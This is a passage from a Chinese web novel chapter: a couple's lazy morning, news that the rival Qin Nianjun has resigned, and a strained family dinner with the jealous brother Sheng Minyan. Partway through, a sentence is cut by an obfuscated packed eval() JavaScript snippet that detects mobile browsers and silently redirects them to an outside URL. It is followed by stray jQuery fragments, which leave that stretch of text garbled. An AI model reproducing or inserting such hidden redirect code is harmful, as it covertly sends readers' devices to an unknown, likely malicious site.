太阳越升越高,光线冲破清晨的寒,从窗子斜射进来,卧室越来越暖,床上的两个人越来越懒。
冷灿的指尖在盛旻析的腹部勾勒,感受着肌肉弹性:“你最近在健身吗?肌肉变硬实了。”她说着又开始捏起他的胸肌。
“最近是在加强运动。每天都在开会,不运动吃不消。”他侧身躺着,低头盯着她看,又突然攥住她的手,禁止她乱摸乱捏:“你再捏下去,今天就不用下床了…”
“几点了?”冷灿记得两人回到公寓时还不到七点,接着就在床上混腻起来。
盛旻析拿起放在床头上的手机,声音随意淡漠:“十点半!”
“啊?”冷灿觉得太夸张了,震惊地坐了起来。人怎么可以头昏到这个地步,连时间过去多久都能没有概念,她竟然以为最多九点。
她披上睡衣,围着床尾踱来踱去,嘴上喋喋不休,像指责又像反思:“我发现了,跟你待在一起就会变得堕落,会不求上进,会不思进取。”
盛旻析不吭声,自顾回复手机消息。
她换上衬衫、牛仔裤,紧皱着眉,语气里全是不满:“不能和你在家里待着,什么正经事都做不了,甚至连口饭都没吃上,直接就十点半了!”
盛旻析一边回复消息,一边拆穿她:“你刚才在床上可不是这么说的,你说你好喜欢,不要停,你想一直待在床上……”
“停!”冷灿打断他:“不要说了,都怪你!”她不得不承认那些话确实也是自己说的,也不得不承认盛旻析越来越懂她的身体,越来越游刃有余,她抵挡不了。
“你总是吃干抹净不认人!”盛旻析放下手机,自觉地朝厨房走去,自言自语地:“灿灿喜欢蛋炒饭里少放油,少放盐……”
冷灿对着镜子低喃:“我竟然是恋爱脑?”
盛旻析站在灶台前大声说:“我还不值得你恋爱脑吗?”
冷灿懒得理他,经过一早上的忙活,他已然自信过度了。
没几分钟,炒饭的香气溢满房间,冷灿又满脸笑容地坐在餐桌边:“你下午什么安排,不需要去公司吗?”
“下去带你去户外。”盛旻析一脸轻松,仿佛到了今天,那种害怕失去她的紧张感才真正地从他心中退去。“灿灿回来了”这件事,到今天才变得真实。
冷灿喜欢看他的笑容,他的笑会让她内心平静下来,会让她的节奏变得不急不躁。相反,他愁眉不展,她也会莫名地浮躁不安。
所以,看他笑着,冷灿都没问去哪里,只说:“好啊。你今天怎么这么开心?”
“秦念军,递交了辞职申请。”盛旻析的眉目都兴高采烈起来。
冷灿惊讶地捂住嘴巴,不可置信地感叹:“我们不战而胜了?”
“阶段性胜利吧。”盛旻析感到如释重负,没有秦念军的傅瑾兰就不具威胁,这场战役,算是开了个好头。
“不对啊,这不符合秦念军的个性啊,他…不是轻易服输的人呐!”冷灿一想到秦念军那张凶神恶煞的脸就倒吸一口凉气。
盛旻析悠然自得地说:“傅瑾兰今天出国了。这都是对我们有利的信号。”
“傅瑾兰是避避风头?还是畏罪潜逃?”冷灿兴奋着盛旻析的兴奋。
盛旻析继续说:“明天我哥就回来了。”
“太好了!他出来,就有人帮你了。”冷灿觉得今天确实不该上班,这么多好事发生,就该出去庆祝才对。
随着秦念军的出局,傅氏集团里的一些摇摆不定的关键人物,也开始纷纷倒向盛旻析的队伍。旻析的领导力再次获得认可,令业内人士刮目相看。
这天下午,旻析带着冷灿来到郊区的一处营地,室外依山面水,室内围炉茶话。
他们先爬到半山腰,再到营地的房间里用壁炉烤坚果,烤红薯…屋内幕布上投着上个世纪末的老电影,两个人不看电影,一会儿含情脉脉地说着情话,一会儿不顾坚果烤糊而忘我地亲吻。
冷灿说得没错,两人待在一起,就不会做什么正经事,在外面和家里并没有本质区别。没有床,沙发便是床,明明可以坐在宽松的沙发上,可他们非要躺着,非要挤在一起,胸闷气短也愿意。
盛旻析抱着冷灿说:“你要是真消失不见了,我该怎么办?”
热恋中的情侣,有些肉麻的话是反人类的。只是他们不自知。
冷灿盯着他的眼睛:“不管我消失了,还是死了,你都好好活,活着就有希望。就有各种可能性,就会有见面的一天。”
盛旻析点头。冷灿在他的眼里捕捉到了一股力量,是过去的他没有的一股劲儿,她拼命保护的就是这股他的这股生命力。
她说:“千万不要像旧世界那样,用自杀逃避痛苦。如果你再那样,我永远不会原谅你。”
“我不会的。”他紧紧地抱着她,“说话算话。”
“这就对了。”冷灿太怕盛旻析再次因为什么打击而一蹶不振,因为她见过他一蹶不振的样子。
所以,冷灿怎么嘱咐都不放心似的:“你永远都要好好活着。就算我消失了,搞不好正在哪里通过光钥偷偷看着你呢。”
盛旻析:“是!就你厉害,我这条命你都能救过来,你什么做不到。”
“你想,我要是在光钥看到你又抑郁了,又不想活了,我得多难过啊。”冷灿描述得绘声绘色,还不知竟无意间预测到了未来。
这天下午,他们腻在沙发上,坐在长椅上,听冷灿讲述旧世界里的盛旻析如何被抑郁击垮,讲述着她的成长是如何不易。
两个世界的记忆像被连起来了一样,过去的他以及未来的他,都是此刻的他。
他们望着日落,沉默不语,相依在一起,此生即此刻,过去和未来都苍白得没有意义。
突然,来电震动将两个人的视线从远处拉了回来。
冷灿清楚地听到盛旻析的电话里,是傅瑾瑜激动的声音:“旻析,你哥回来了,晚上七点回家一起吃顿饭。”
盛旻析神色淡然:“去哪里?”
傅瑾瑜:“在妈妈家里。咱们一家人好久没有聚一聚了。”
挂断电话,冷灿催促着旻析早点赶回去。
盛旻析却说:“你和我一起去。”
“啊?不好吧!”冷灿觉得傅瑾瑜不想见到她:“你们一家人吃饭,我就不去了。”
冷灿越想越觉得不自在,可盛旻析却说:“我妈一直想和你吃顿饭,这次不去,下次也要去。”
在冷灿的记忆里,自己与旻析的关系越好,傅瑾瑜就越讨厌她,旧世界是那样,现在也一样。
冷灿颇为担忧地说:“你妈妈一直看不上我,她见到我不会高兴的。”
“喂!”盛旻析捧着冷灿的肩膀,语气坚定:“你自信点好不好,这个世界上,你最不亏欠的人就是我妈,你可是救了她两个儿子哎。”
冷灿一下子想到旧世界里,傅瑾瑜失去了两个儿子后,大病一场,出院后也精神恍惚,没有人样。
倒是她现在还能嚣张,说明她还够幸福,还有两个优秀的儿子给她撑腰,这么一想冷灿竟然也不怕面对她了。
“你去的话,他们会少说一些集团的事。”盛旻析多少预测到了这顿饭的用意,又说:“我嫌他们烦。”
冷灿:“好,我去。”
两人没换衣服,穿着一身运动服就去了傅瑾瑜准备的家宴。
他牵着她,迈进别墅大门的那一刻,盛旻析突然停下来,嘱咐冷灿:“我哥在办离婚,我们尽量不提他的感情问题。”
冷灿:“离婚?你哥?怎么这么突然?”
盛旻析:“我哥卷入财务造假案的第一周,我嫂子就拿着离婚协议从美国回来了。”
“商业联姻确实不靠谱!”冷灿感慨着:“你要是跟穆乐妍结婚也是这
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16441408|172448||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
个下场。”
盛旻析最讨厌冷灿提他这段黑历史:“不许提这件事。”
冷灿走进傅瑾瑜的别墅方厅,就算看到傅瑾瑜并没有好脸色,她还是礼貌地问好:“傅董好。“
“你怎么来了?”傅瑾瑜走过来,皱紧眉头,问得直截了当。
盛旻析:“不是你要见吗?”
如今的盛旻析手握实权,掌管傅氏,在傅瑾瑜面前有了话语权,他开口,傅瑾瑜也不敢轻易驳斥,只敢小声嘀咕着:“又不是要今天见。来了也不说一声……”
四个人坐在大方桌的一边,显得环境有些空旷清冷。桌子上摆着八个人都吃不完的海鲜,冷灿随意一瞥,与盛旻延视线交错,发现他瘦了一圈,眉宇间少了些许沉稳,却多了一丝阴郁。
盛旻延勾着一边的嘴角,阴阳怪气地说:“灿灿把旻析照顾得很好啊!”
冷灿想起来,不久前,盛旻延请她吃过一顿吃饭,拜托自己照顾好旻析和妈妈,他应该是指这件事吧,冷灿说:“是旻析把我照顾得很好。”
盛旻延又转头看向弟弟:“傅氏董事长的位置怎么样?是不是坐上了就不想下来了?”
“哥,这是外公的意思。”盛旻析声音低沉,多一个字不说。
几句话间,冷灿便嗅到了硝烟味儿,盛旻延的嫉妒在熊熊燃烧,他对旻析的敌意昭然若揭。
傅瑾瑜在中间斡旋着,试图缓和气氛:“旻延,你尝尝这只龙虾的味道。”
可是盛旻延不提筷子,一动不动,目光持续狙击着旻析,像旻析欠他什么似的。
他被关起来这些天,一直关注着傅氏的变化,不懂外公为什么要让旻析掌管傅氏,他接受不了这个结果,毕竟他从来没有将这个弟弟视为竞争对手。
他不服!
气氛越发压抑,盛旻延像质问旻析一样,一连问他几个问题:“你明知道我是被陷害,为什么不早告诉我?你明知道外公要把股权都给了你,为什么不跟我说一声?”
盛旻析喝着汤,发出“滋滋”的声音,毫不介意盛旻延的质问,只重复一句:“都是外公的意思,我只能照做。”
“冷灿!”盛旻延又质问起冷灿来:“是不是你天天跟外公密谋什么事情,是不是你在暗中改变了外公的主意?”
冷灿摇头,尴尬着。那样清高的盛旻延竟然满肚子怨气,太令冷灿太意想不到了。
傅瑾瑜依然满眼宠溺地看着盛旻延:“旻延,你弟弟你了解,他不愿意在这个圈子里斗来斗去。这种情况只是暂时的,是不是旻析?”
“对。只是暂时的。”盛旻析淡淡说道。
盛旻延的情绪一下就和缓下来,毫无稳重之相,拿起筷子那一瞬间,傅瑾瑜满意地上扬嘴角,不停地给旻延夹菜,视线不往旻析这边搭一下。
偏心偏爱的举动,让冷灿唏嘘。
可刚安静几分钟,盛旻延又急不可耐地问:“旻析,说说你的计划吧。”
“没有什么计划。”盛旻析不是不想告诉他们外公的计划,而是傅国祥对宣布计划的时机有规划,他不能提前说。
“是冷灿在这里不方便你说吗?”旻延看着冷灿,声音冰冷:“麻烦姑娘先回去吧。”
盛旻析皱着眉,声音又低了一度:“她在不在,我都是这句话。”
气氛再次紧张起来。
傅瑾瑜按住盛旻延的手腕:“你着什么急!旻析自小对集团就没兴趣,他最后还是要搞餐厅的。是不是,旻析?”
盛旻析没吭声,傅瑾瑜继续说:“旻析,等时机成熟,你把位置交给你哥。旻延,这段时间,你先沉住气。”
盛旻析稳稳当当地吃着饭,嘴角隐隐勾出一抹意味深长的笑,他笑外公太懂得人心了,所以反复告诫他:“你最大的敌人是旻延。你不能与他硬碰,要怀柔。”
旻析淡淡说道:“吃饭吧,改天再说这些事…”